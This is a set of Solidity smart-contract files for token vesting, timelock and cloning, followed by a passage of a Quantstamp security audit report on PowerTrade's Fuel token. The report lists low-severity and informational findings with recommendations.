one per address require(vestedAmount[_beneficiary] == 0, "VestingContract::createVestingSchedule: Schedule already in flight"); vestedAmount[_beneficiary] = _amount; // Vest the tokens into the deposit account and delegate to the beneficiary require( token.transferFrom(msg.sender, address(this), _amount), "VestingContract::createVestingSchedule: Unable to escrow tokens" ); emit ScheduleCreated(_beneficiary); return true; } function _drawDown(address _beneficiary) internal returns (bool) { require(vestedAmount[_beneficiary] > 0, "VestingContract::_drawDown: There is no schedule currently in flight"); uint256 amount = _availableDrawDownAmount(_beneficiary); require(amount > 0, "VestingContract::_drawDown: No allowance left to withdraw"); // Update last drawn to now lastDrawnAt[_beneficiary] = _getNow(); // Increase total drawn amount totalDrawn[_beneficiary] = totalDrawn[_beneficiary].add(amount); // Safety measure - this should never trigger require( totalDrawn[_beneficiary] <= vestedAmount[_beneficiary], "VestingContract::_drawDown: Safety Mechanism - Drawn exceeded Amount Vested" ); // Issue tokens to beneficiary require(token.transfer(_beneficiary, amount), "VestingContract::_drawDown: Unable to transfer tokens"); emit DrawDown(_beneficiary, amount); return true; } function _getNow() internal view returns (uint256) { return block.timestamp; } function _availableDrawDownAmount(address _beneficiary) internal view returns (uint256 _amount) { // Cliff Period if (_getNow() <= start.add(cliffDuration)) { // the cliff period has not ended, no tokens to draw down return 0; } // Schedule complete if (_getNow() > end) { return vestedAmount[_beneficiary].sub(totalDrawn[_beneficiary]); } // Schedule is active // Work out when the last invocation was uint256 timeLastDrawnOrStart = lastDrawnAt[_beneficiary] == 0 ? start : lastDrawnAt[_beneficiary]; // Find out how much time has past since last invocation uint256 timePassedSinceLastInvocation = _getNow().sub(timeLastDrawnOrStart); // Work out how many due tokens - time passed * rate per second uint256 drawDownRate = vestedAmount[_beneficiary].div(end.sub(start)); uint256 amount = timePassedSinceLastInvocation.mul(drawDownRate); return amount; } } pragma solidity ^0.5.16; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }pragma solidity ^0.5.16; // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import "./SafeMath.sol"; contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event NewGracePeriod(uint indexed newGracePeriod); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); address public admin; address public pendingAdmin; uint public delay; uint public gracePeriod; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_, uint gracePeriod_) public { require(delay_ > 0, "Timelock::constructor: Delay must be larger than 0."); require(gracePeriod_ > 0, "Timelock::constructor: Delay must be larger than 0."); admin = admin_; delay = delay_; gracePeriod = gracePeriod_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ > 0, "Timelock::setDelay: Delay must be larger than 0."); delay = delay_; emit NewDelay(delay); } function setGracePeriod(uint gracePeriod_) public { require(msg.sender == address(this), "Timelock::setGracePeriod: Call must come from Timelock."); require(gracePeriod_ > 0, "Timelock::setGracePeriod: Grace period must be larger than 0."); gracePeriod = gracePeriod_; emit NewGracePeriod(gracePeriod); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this) || msg.sender == admin, "Timelock::setPendingAdmin: Call must come from Timelock or admin."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(gracePeriod), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }pragma solidity ^0.5.16; import "./SafeMath.sol"; import "./ReentrancyGuard.sol"; import "./CloneFactory.sol"; import "./IERC20.sol"; import "./VestingDepositAccount.sol"; /// @author BlockRocket contract VestingContract is CloneFactory, ReentrancyGuard { using SafeMath for uint256; /// @notice event emitted when a vesting schedule is created event ScheduleCreated(address indexed _beneficiary, uint256 indexed _amount); /// @notice event emitted when a successful drawn down of vesting tokens is made event DrawDown(address indexed _beneficiary, uint256 indexed _amount, uint256 indexed _time); /// @notice struct to define the total amount vested (this never changes) and the associated deposit account struct Schedule { uint256 amount; VestingDepositAccount depositAccount; } /// @notice owner address set on construction address public owner; /// @notice beneficiary to schedule mapping. Note beneficiary address can not be reused mapping(address => Schedule) public vestingSchedule; /// @notice cumulative total of tokens drawn down (and transferred from the deposit account) per beneficiary mapping(address => uint256) public totalDrawn; /// @notice last drawn down time (seconds) per beneficiary mapping(address => uint256) public lastDrawnAt; /// @notice set when updating beneficiary (via owner) to indicate a voided/completed schedule mapping(address => bool) public voided; /// @notice ERC20 token we are vesting IERC20 public token; /// @notice the blueprint deposit account to clone using CloneFactory (https://eips.ethereum.org/EIPS/eip-1167) address public baseVestingDepositAccount; /// @notice start of vesting period as a timestamp uint256 public start; /// @notice end of vesting period as a timestamp uint256 public end; /// @notice cliff duration in seconds uint256 public cliffDuration; /** * @notice Construct a new vesting contract * @param _token ERC20 token * @param _baseVestingDepositAccount address of the VestingDepositAccount to clone * @param _start start timestamp * @param _end end timestamp * @param _cliffDurationInSecs cliff duration in seconds * @dev caller on constructor set as owner; this can not be changed */ constructor( IERC20 _token, address _baseVestingDepositAccount, uint256 _start, uint256 _end, uint256 _cliffDurationInSecs ) public { require(address(_token) != address(0), "VestingContract::constructor: Invalid token"); require(_end >= _start, "VestingContract::constructor: Start must be before end"); token = _token; owner = msg.sender; baseVestingDepositAccount = _baseVestingDepositAccount; start = _start; end = _end; cliffDuration = _cliffDurationInSecs; } /** * @notice Create a new vesting schedule * @notice A transfer is used to bring tokens into the VestingDepositAccount so pre-approval is required * @notice Delegation is set for the beneficiary on the token during schedule creation * @param _beneficiary beneficiary of the vested tokens * @param _amount amount of tokens (in wei) */ function createVestingSchedule(address _beneficiary, uint256 _amount) external returns (bool) { require(msg.sender == owner, "VestingContract::createVestingSchedule: Only Owner"); require(_beneficiary != address(0), "VestingContract::createVestingSchedule: Beneficiary cannot be empty"); require(_amount > 0, "VestingContract::createVestingSchedule: Amount cannot be empty"); // Ensure only one per address require( vestingSchedule[_beneficiary].amount == 0, "VestingContract::createVestingSchedule: Schedule already in flight" ); // Set up the vesting deposit account for the _beneficiary address depositAccountAddress = createClone(baseVestingDepositAccount); VestingDepositAccount depositAccount = VestingDepositAccount(depositAccountAddress); depositAccount.init(address(token), address(this), _beneficiary); // Create schedule vestingSchedule[_beneficiary] = Schedule({ amount : _amount, depositAccount : depositAccount }); // Vest the tokens into the deposit account and delegate to the beneficiary require( token.transferFrom(msg.sender, address(depositAccount), _amount), "VestingContract::createVestingSchedule: Unable to transfer tokens to VDA" ); emit ScheduleCreated(_beneficiary, _amount); return true; } /** * @notice Draws down any vested tokens due * @dev Must be called directly by the beneficiary assigned the tokens in the schedule */ function drawDown() nonReentrant external returns (bool) { return _drawDown(msg.sender); } /** * @notice Updates a schedule beneficiary * @notice Voids the old schedule and transfers remaining amount to new beneficiary via a new schedule * @dev Only owner * @param _currentBeneficiary beneficiary to be replaced * @param _newBeneficiary beneficiary to vest remaining tokens to */ function updateScheduleBeneficiary(address _currentBeneficiary, address _newBeneficiary) external { require(msg.sender == owner, "VestingContract::updateScheduleBeneficiary: Only owner"); // retrieve existing schedule Schedule memory schedule = vestingSchedule[_currentBeneficiary]; require( schedule.amount > 0, "VestingContract::updateScheduleBeneficiary: There is no schedule currently in flight" ); require(_drawDown(_currentBeneficiary), "VestingContract::_updateScheduleBeneficiary: Unable to drawn down"); // the old schedule is now void voided[_currentBeneficiary] = true; // setup new schedule with the amount left after the previous beneficiary's draw down vestingSchedule[_newBeneficiary] = Schedule({ amount : schedule.amount.sub(totalDrawn[_currentBeneficiary]), depositAccount : schedule.depositAccount }); vestingSchedule[_newBeneficiary].depositAccount.switchBeneficiary(_newBeneficiary); } // Accessors /** * @notice Vested token balance for a beneficiary * @dev Must be called directly by the beneficiary assigned the tokens in the schedule * @return _tokenBalance total balance proxied via the ERC20 token */ function tokenBalance() external view returns (uint256 _tokenBalance) { return token.balanceOf(address(vestingSchedule[msg.sender].depositAccount)); } /** * @notice Vesting schedule and associated data for a beneficiary * @dev Must be called directly by the beneficiary assigned the tokens in the schedule * @return _amount * @return _totalDrawn * @return _lastDrawnAt * @return _drawDownRate * @return _remainingBalance * @return _depositAccountAddress */ function vestingScheduleForBeneficiary(address _beneficiary) external view returns ( uint256 _amount, uint256 _totalDrawn, uint256 _lastDrawnAt, uint256 _drawDownRate, uint256 _remainingBalance, address _depositAccountAddress ) { Schedule memory schedule = vestingSchedule[_beneficiary]; return ( schedule.amount, totalDrawn[_beneficiary], lastDrawnAt[_beneficiary], schedule.amount.div(end.sub(start)), schedule.amount.sub(totalDrawn[_beneficiary]), address(schedule.depositAccount) ); } /** * @notice Draw down amount currently available (based on the block timestamp) * @param _beneficiary beneficiary of the vested tokens * @return _amount tokens due from vesting schedule */ function availableDrawDownAmount(address _beneficiary) external view returns (uint256 _amount) { return _availableDrawDownAmount(_beneficiary); } /** * @notice Balance remaining in vesting schedule * @param _beneficiary beneficiary of the vested tokens * @return _remainingBalance tokens still due (and currently locked) from vesting schedule */ function remainingBalance(address _beneficiary) external view returns (uint256 _remainingBalance) { Schedule memory schedule = vestingSchedule[_beneficiary]; return schedule.amount.sub(totalDrawn[_beneficiary]); } // Internal function _drawDown(address _beneficiary) internal returns (bool) { Schedule memory schedule = vestingSchedule[_beneficiary]; require(schedule.amount > 0, "VestingContract::_drawDown: There is no schedule currently in flight"); uint256 amount = _availableDrawDownAmount(_beneficiary); require(amount > 0, "VestingContract::_drawDown: No allowance left to withdraw"); // Update last drawn to now lastDrawnAt[_beneficiary] = _getNow(); // Increase total drawn amount totalDrawn[_beneficiary] = totalDrawn[_beneficiary].add(amount); // Safety measure - this should never trigger require( totalDrawn[_beneficiary] <= schedule.amount, "VestingContract::_drawDown: Safety Mechanism - Drawn exceeded Amount Vested" ); // Issue tokens to beneficiary require( schedule.depositAccount.transferToBeneficiary(amount), "VestingContract::_drawDown: Unable to transfer tokens" ); emit DrawDown(_beneficiary, amount, _getNow()); return true; } function _getNow() internal view returns (uint256) { return block.timestamp; } function _availableDrawDownAmount(address _beneficiary) internal view returns (uint256 _amount) { Schedule memory schedule = vestingSchedule[_beneficiary]; // voided contract should not allow any draw downs if (voided[_beneficiary]) { return 0; } // cliff if (_getNow() <= start.add(cliffDuration)) { // the cliff period has not ended, no tokens to draw down return 0; } // schedule complete if (_getNow() > end) { return schedule.amount.sub(totalDrawn[_beneficiary]); } // Schedule is active // Work out when the last invocation was uint256 timeLastDrawnOrStart = lastDrawnAt[_beneficiary] == 0 ? start : lastDrawnAt[_beneficiary]; // Find out how much time has past since last invocation uint256 timePassedSinceLastInvocation = _getNow().sub(timeLastDrawnOrStart); // Work out how many due tokens - time passed * rate per second uint256 drawDownRate = schedule.amount.div(end.sub(start)); uint256 amount = timePassedSinceLastInvocation.mul(drawDownRate); return amount; } } pragma solidity ^0.5.16; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } pragma solidity ^0.5.16; import "./FuelToken.sol"; /// @author BlockRocket contract VestingDepositAccount { /// @notice the controlling parent vesting contract address public controller; /// @notice beneficiary who tokens will be transferred to address public beneficiary; /// @notice ERC20 token that is vested (extended with a delegate function) FuelToken public token; /** * @notice Using a minimal proxy contract pattern initialises the contract and sets delegation * @dev initialises the VestingDepositAccount (see https://eips.ethereum.org/EIPS/eip-1167) * @dev only controller */ function init(address _tokenAddress, address _controller, address _beneficiary) external { require(controller == address(0), "VestingDepositAccount::init: Contract already initialized"); token = FuelToken(_tokenAddress); controller = _controller; beneficiary = _beneficiary; // sets the beneficiary as the delegate on the token token.delegate(beneficiary); } /** * @notice Transfer tokens vested in the VestingDepositAccount to the beneficiary * @param _amount amount of tokens (in wei) * @dev only controller */ function transferToBeneficiary(uint256 _amount) external returns (bool) { require(msg.sender == controller, "VestingDepositAccount::transferToBeneficiary: Only controller"); return token.transfer(beneficiary, _amount); } /** * @notice Allows the beneficiary to be switched on the VestingDepositAccount and sets delegation * @param _newBeneficiary address to receive tokens once switched * @dev only controller */ function switchBeneficiary(address _newBeneficiary) external { require(msg.sender == controller, "VestingDepositAccount::switchBeneficiary: Only controller"); beneficiary = _newBeneficiary; // sets the new beneficiary as the delegate on the token token.delegate(_newBeneficiary); } }
September 28th 2020— Quantstamp Verified PowerTrade This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Audit Auditors Kevin Feng , Blockchain ResearcherJoseph Xu , Technical R&D AdvisorLuís Fernando Schultz Xavier da Silveira , SecurityConsultant Timeline 2020-09-16 through 2020-09-23 EVM Muir Glacier Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification PowerTrade Fuel Token Offical Token Paper PowerTrade Fuel (PTF) Google Doc Documentation Quality Medium Test Quality Medium Source Code Repository Commit fuel-dao 200947a fuel-dao 70c6424 Total Issues 10 (0 Resolved)High Risk Issues 0 (0 Resolved)Medium Risk Issues 0 (0 Resolved)Low Risk Issues 8 (0 Resolved)Informational Risk Issues 2 (0 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsThe scope of this audit is the diff between FuelToken contracts and their base contracts, and the Vesting smart contracts. During this audit, Quantstamp have identified 8 low-severity, and 2 informational issues. Additionally, Quantstamp has also recommended 2 suggestions regarding the implementation of the ERC20 specification, 6 suggestions regarding documentation, and 5 suggestions regarding best practices. Overall, the code is well-structured, well-documented and decently tested. However, there are several security considerations that need to be addressed before the live deployment. We recommend addressing these issues before going into production. ID Description Severity Status QSP- 1 Use of for Block Number and Checkpoints uint32Low Unresolved QSP- 2 Clone-and-Own Low Unresolved QSP- 3 Updating Beneficiary Reduces Its Rate of Receiving Tokens Low Unresolved QSP- 4 Time Unit Changed in When Compared to Compound Contract Timelock.solLow Unresolved QSP- 5 Lack of Timelock When Changing Admin Addresses Low Unresolved QSP- 6 Updating Beneficiary before Vesting Cliff Will Revert Low Unresolved QSP- 7 Privileged Roles and Ownership Low Unresolved QSP- 8 Missing Input Validation Low Unresolved QSP- 9 Unlocked Pragma Informational Unresolved QSP- 10 Non-zero Balances Shown for Voided Beneficiaries Informational Unresolved Quantstamp Audit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: v0.6.6 • Slitherv0.2.7 • MythrilSteps taken to run the tools:1. Installed the Slither tool:pip install slither-analyzer 2. Run Slither from the project directory:slither . 3. Installed the Mythril tool from Pypi:pip3 install mythril 4. Ran the Mythril tool on each contract:myth analyze <path/to/contract> Findings QSP-1 Use of for Block Number and Checkpoints uint32Severity: Low Risk Unresolved Status: File(s) affected: FuelToken.sol In , the use of for and could conceivably result in the token's lockdown in the future as these numbers approach their max limits. Description:FuelToken.sol uint32 BlockNumber numCheckpoints It is recommended to change to for accommodating a larger max value as these variables increment in the future. Recommendation: uint32 uint128 QSP-2 Clone-and-Own Severity: Low Risk Unresolved Status: , , , File(s) affected: CloneFactory.sol IERC20.sol ReentrancyGuard.sol SafeMath.sol The clone-and-own approach involves copying and adjusting open source code at one's own discretion. From the development perspective, it is initially beneficial as it reduces the amount of effort. However, from the security perspective, it involves some risks as the code may not follow the best practices, may contain a security vulnerability, or may include intentionally or unintentionally modified upstream libraries. Description:Based on the scope of this audit, the following files can instead be imported from libraries: : Optionality • CloneFactory.sol: OpenZeppelin • IERC20.sol: OpenZeppelin • ReentrancyGuard.sol: OpenZeppelin • SafeMath.solRather than the clone-and-own approach, a good industry practice is to use the Truffle framework for managing library dependencies. This eliminates the clone-and-own risks yet allows for following best practices, such as using libraries. Recommendation:QSP-3 Updating Beneficiary Reduces Its Rate of Receiving Tokens Severity: Low Risk Unresolved Status: File(s) affected: VestingContract.sol In , the rate of vesting tokens that the beneficary receive when calling is calculated based on the parameter in the beneficiary's schedule. When updating the beneficiary with the function , the property for the new beneficiary's schedule is decreased. This means that down the line, the new beneficiary would receive the tokens at a slower rate than the original beneficiary. Description:VestingContract.sol _drawDown() amount updateScheduleBeneficiary() amount Check if this is the intended behavior as it is not certain from the specification. If not, change to and add after . This suggestion is the minimal needed to keep the same rate of vesting for the new beneficiary. Additional modifications may be needed to return accurate vesting information to the new beneficiary depending on the specification. Recommendation:L154 amount : schedule.amounttotalDrawn[_newBeneficiary] = totalDrawn[_currentBeneficiary] L156 QSP-4 Time Unit Changed in When Compared to Compound Contract Timelock.sol Severity: Low Risk Unresolved Status: File(s) affected: Timelock.sol The contract has been modified to handle and as seconds while the original Compound contract explicitly enforces limits to these parameters in time units of days. This change may introduce the risk of having a unusually short delay and grace period through manual error when calling or . Description:Timelock.sol delay gracePeriod uint setDelay() setGracePeriod() It is recommended to explicitly enforce time parameters in a similar manner to the original contract, possibly with changes to instead of if desired. Recommendation: hours days QSP-5 Lack of Timelock When Changing Admin Addresses Severity: Low Risk Unresolved Status: , File(s) affected: Timelock.sol Governor.sol The contracts and have been modified to allow updates to without being subjected to the timelock by the . This also means that the role in can be assigned to a new address without the timelock. Description:Timelock.sol Governor.sol pendingAdmin admin admin Timelock.sol The lack of timelock feature on update and additional privilege when compared to the original Compound contracts should be disclosed in user- facing documentations. Recommendation:pendingAdmin admin QSP-6 Updating Beneficiary before Vesting Cliff Will RevertSeverity: Low Risk Unresolved Status: File(s) affected: VestingContract.sol In the contract , beneficiaries currently cannot be updated through before the vesting cliff as the function's call to will revert. Description:VestingContract.sol updateScheduleBeneficiary() _drawDown() Check to see if this is the intended behavior since it is unclear from the specification. If so, it is recommended to add a statement to check for this behavior in directly instead of having it revert at . Recommendation:require updateScheduleBeneficiary() _drawdown() QSP-7 Privileged Roles and Ownership Severity: Low Risk Unresolved Status: File(s) affected: FuelToken.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. In , the minter role has the power to arbitrary mint tokens for themselves or for potential malicious users. Description:owner FuelToken.sol This privileged role should be clearly documented in user-facing documentations. Recommendation: QSP-8 Missing Input Validation Severity: Low Risk Unresolved Status: , File(s) affected: FuelToken.sol VestingContract.sol The following inputs/return values, if unvalidated, may create undesirable effects for the smart contracts: Description: may permenantly lose its minter if the current minter accidently sets the new minter as the zero address with • FuelToken.solchangeMinter() In , beneficiaries may be updated to address through • VestingContract.sol0x0 updateScheduleBeneficiary() In , beneficiary schedules may also be overridden through if the address of the already exists in •VestingContract.solupdateScheduleBeneficiary() _newBeneficiary vestingSchedule Make the following changes to the respective issues in question: Recommendation: If the developer does not plan to permanently burn the ability to mint tokens, in should check that is non-zero • changeMinter() FuelToken.sol account in should check that is non-zero • updateScheduleBeneficiary()VestingContract.sol _newBeneficiary in should also check if • updateScheduleBeneficiary()VestingContract.sol vestingSchedule[_newBeneficiary].amount == 0 QSP-9 Unlocked Pragma Severity: Informational Unresolved Status: Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked." 